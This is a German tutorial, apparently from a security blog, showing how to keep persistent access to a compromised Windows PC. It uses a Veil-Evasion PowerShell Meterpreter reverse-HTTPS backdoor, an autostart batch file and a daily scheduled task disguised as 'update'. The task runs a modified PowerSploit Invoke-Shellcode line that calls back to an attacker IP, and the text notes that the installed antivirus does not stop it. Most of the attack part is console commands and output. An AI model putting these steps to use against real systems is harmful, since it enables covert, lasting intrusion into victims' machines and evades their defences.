Welcher Penetrationstester hat folgende Situation noch nicht erlebt: Man versucht in mühsamer Kleinarbeit einen Windows-Host zu penetrieren. Erst nach mehreren Fehlversuchen konnte die Sicherheitsarchitektur überwunden werden. Jetzt gelingt es, über eine Sicherheitslücke Nutzerrechte auf einem System zu erhalten. Aber plötzlich bricht aus irgendeinem Grund die Verbindung zum Client zusammen. Auch die Sicherheitslücke kann bis zum nächsten Neustart des Gerätes nicht mehr genutzt werden. Nach dem Neustart stellt man fest, dass die Lücke bereits gepacht ist und auf diesem Weg keine eindringen mehr möglich ist.
In dieser Situation wäre es schön gewesen, wenn man gleich nach Erlangen der Nutzerrechte eine Hintertür (Backdoor) eingerichtet hätte, die sich in bestimmten Zeitabständen selbstständig beim Angreifer meldet und dabei eine permanente Verbindung aufbaut. In der Fachsprache wird dies auch als „Persistence“ bezeichnet.
In diesem Beitrag möchte ich zeigen, wie eine Backdoor mittels Veil-Evasion erstellt wird und wie man „Persistence“ über Windows-Autostart bzw. unter Verwendung von Scheduled Tasks erzeugt.
Schritt 1: – Erzeugen einer Windows Backdoor (Powershell-Skripts) mittels Veil-Evasion
Wer Veil-Evasion auf Kali Linux noch nicht installiert hat, der findet hier eine Anleitung. Darüber hinaus lässt sich die Software auch mittels git auf einem Linux-System einrichten.
Die Windows-Backdoor in Form eines Powershell Skriptes ist nun schnell erstellt. Wir verwenden dazu als Payload powershell/meterpreter/rev_https. Bevor die Batchdatei erstellt werden kann, sind den Variablen LHOST bzw. LPORT noch Werte zuzuordnen, die der Angriffsumgebung entsprechen. In diesem Fall weisen wir der Variable LHOST die IP-Adresse des Angreifers zu. Praktisch wird der „Opfer“-PC eine Verbindung zum LHOST aufnehmen, dazu wird der unter LPORT angegeben Port angefragt. Damit diese Verbindung später auch genutzt werden kann, muss auf dem IT-System des Angreifers ein sogenannter Handler laufen, der die ankommenden Daten entgegennimmt.
=========================================================================
Veil-Evasion | [Version]: 2.21.4
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Main Menu
47 payloads loaded
Available Commands:
use Use a specific payload
info Information on a specific payload
list List available payloads
update Update Veil-Evasion to the latest version
clean Clean out payload folders
checkvt Check payload hashes vs. VirusTotal
exit Exit Veil-Evasion
[menu>>]: use 21
Veil-Evasion | [Version]: 2.21.4
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Payload: powershell/meterpreter/rev_https loaded
Required Options:
Name Current Value Description
---- ------------- -----------
LHOST IP of the Metasploit handler
LPORT 8443 Port of the Metasploit handler
PROXY N Use system proxy settings
Available Commands:
set Set a specific option value
info Show information about the payload
options Show payload's options
generate Generate payload
back Go to the main menu
exit exit Veil-Evasion
[powershell/meterpreter/rev_https>>]: set LHOST 95.xx.xx.xx
[i] LHOST => 95.xx.xx.xx
[powershell/meterpreter/rev_https>>]: set LPORT 443
[i] LPORT => 443[powershell/meterpreter/rev_https>>]: generate
Mit dem Befehl generate werden die notwendige Skripte erzeugt und in den Verzeichnissen /root/veil-output/source und /root/veil-output/handlers/ abgelegt.
=========================================================================
Veil-Evasion | [Version]: 2.21.4
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[>] Please enter the base name for output files (default is 'payload'): pill
Language: powershell
Payload: powershell/meterpreter/rev_https
Required Options: LHOST=95.xx.xx.xx LPORT=443 PROXY=N
Payload File: /root/veil-output/source/pill.bat
Handler File: /root/veil-output/handlers/pill_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
[>] Press any key to return to the main menu.
Schritt 2: – Batch-Datei im Autostartverzeichnis des Nutzers ablegen.
Nun muss nur noch die so erstellte Batch-Datei (in unserem Beispiel pill.bat) im Autostartverzeichnis des Nutzers abgelegt werden. Dazu sollte idealverweise bereits eine Meterpreter-Shell auf dem Opfer-PC verfügbar sein, die uns das Kopieren mittels des Befehls upload ermöglicht. Dies könnte in unserem Beispiel wie folgt aussehen:
In diesem Beispiel gehen wir davon aus, dass Bob der engemeldetet Nutzer am System ist. Wer angemeldet ist, kann leicht in der Meterpreter-Session mit dem Befehl getuid herausgefunden werden.
Hinweis: Um den Befehl ordnungsgemäß ausführen zu können, sind jeweils zwei Backslashes im Pfad anzugeben.
Sollte nun die Verbindung aus irgendwelchen Gründen abreißen, so wird beim nächster Neustart die Verbindung zum Angriffssystem wiederhergestellt sobald sich der Nutzer Bob anmeldet.
Der Nachteil liegt hier klar auf der Hand. Erfolgt dieser Neustart nicht, so kann auch keine Verbindung etabliert werden.
Wer keine Zeit hat zu warten, sollte sich über “Scheduled Tasks” eine Möglichkeit schaffen, diese Verbindung z.B. stündlich oder täglich aufbauen zu lassen. Dies wird nun in Schritt 3 erläutert.
Schritt 3: – Mit Scheduled Task täglich eine Verbindung aufbauen.
Um dies nutzen zu können, ist ein wenig Vorarbeit notwendig. Wir benötigen einen Webserver und die PowerSploit-Tools. Hierbei handelt es sich um in PowerShell geschrieben Skripte, die Postexploitation auf einem Windows-System wesentlich erleichtern. Wir werden die Funktion Invoke-Shellcode für dieses Vorhaben nutzen.
Den Webserver benötigen wir, um den Shellcode zum Download zur Verfügung zu stellen. Somit sind wir in der Lage, jeden beliebigen Code aus dem Internet herunterzuladen und auf dem Opfer-PC auszuführen. Damit dies gelingt, müssen nur folgende Voraussetzungen erfüllt sein:
Auf dem Client sollte Powershell installiert sein (ab Windows 7 ist das standartmäßig der Fall) und er sollte über einen Zugang zum Internet verfügen.
PowerSploit ist unter Kali 2.0 bereits im Verzeichnis /usr/share/ vorhanden. Wer ein anderes Linux nutzt, sollte das Tool nun mit folgenden Befehlen installieren:
cd /usr/share
git clone https://github.com/PowerShellMafia/PowerSploit.git
Nachdem die Daten auf das lokale System kopiert wurden, muss das folgende Skript noch angepasst werden.
/usr/share/PowerSploit/CodeExecution/Invoke-Shellcode.ps1
Dazu kopieren wir die Datei, legen sie unter einem anderen Namen (z.B. neu.ps1) im gleichen Verzeichnis ab und fügen am Ende der Datei folgende Zeile hinzu:
Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 95.xx.xx.xx –Lport 443 –Force;
Hierbei ist zu beachten, dass man hier der gleichen Payload einsetzt, der bereits im Schritt 1 verwendet wurde. Auch LHOST und LPORT müssen mit den Angaben aus dem ersten Schritt übereinstimmen.
Als Ergebnis erhält man eine neue Datei (neu.ps1), die auf dem Webserver zum Download bereitgestellt werden kann. Dazu braucht sie nur in das Verzeichnis /var/www/html verschoben werden.
Der nun folgende Test soll sicherstellen, dass bisherigen Einstellungen greifen, das Skript neu.ps1 richtig vom Webserver heruntergeladen und auf dem Zielsystem ausgeführt wird.
Hierzu sollte zunächst auf dem Angriffsystem eine Handler gestartet werden. Hier kann das im Schritt 1 angelegte Skript (in unserem Beispiel/root/veil-output/handlers/pill.rc) verwendet werden. Der Aufruf in der Konsole sieht wie folgt aus:
msfconsole -r /root/veil-output/handlers/pill.rc
Auf dem Opfer-PC kann nun in einer Shell das folgende Kommando ausgeführt werden.
Hinweis: Der zweite Befehl kann entfallen, wenn dieser bereits in die Datei (in unserem Beispiel neu.ps1) integriert wurde.
Als Ergebnis sollte auf dem Angriffssystem nun eine Meterpreter-Session verfügbar sein.
Abschließend erstellen wir mit dem folgenden Befehl einen “Scheduled Task”, der jeden Tag um 12:00 ausgeführt wird. Das dafür notwendige Kommando könnte so aussehen:
Das folgende Bild zeigt den Aufruf des Kommandos in einer Meterpreter-Session:
In der Windows-Aufgabenplanung ist nun eine neue Aufgabe unter dem Namen “update” aufgeführt, die täglich um 12:00 Uhr ausgeführt wird und uns die gewünschte Meterpreter-Session liefert. Das auf dem Windows-PC installierte Virenschutzprogramm (in unserem Fall “Avast Business Security” kann dies nicht verhindern.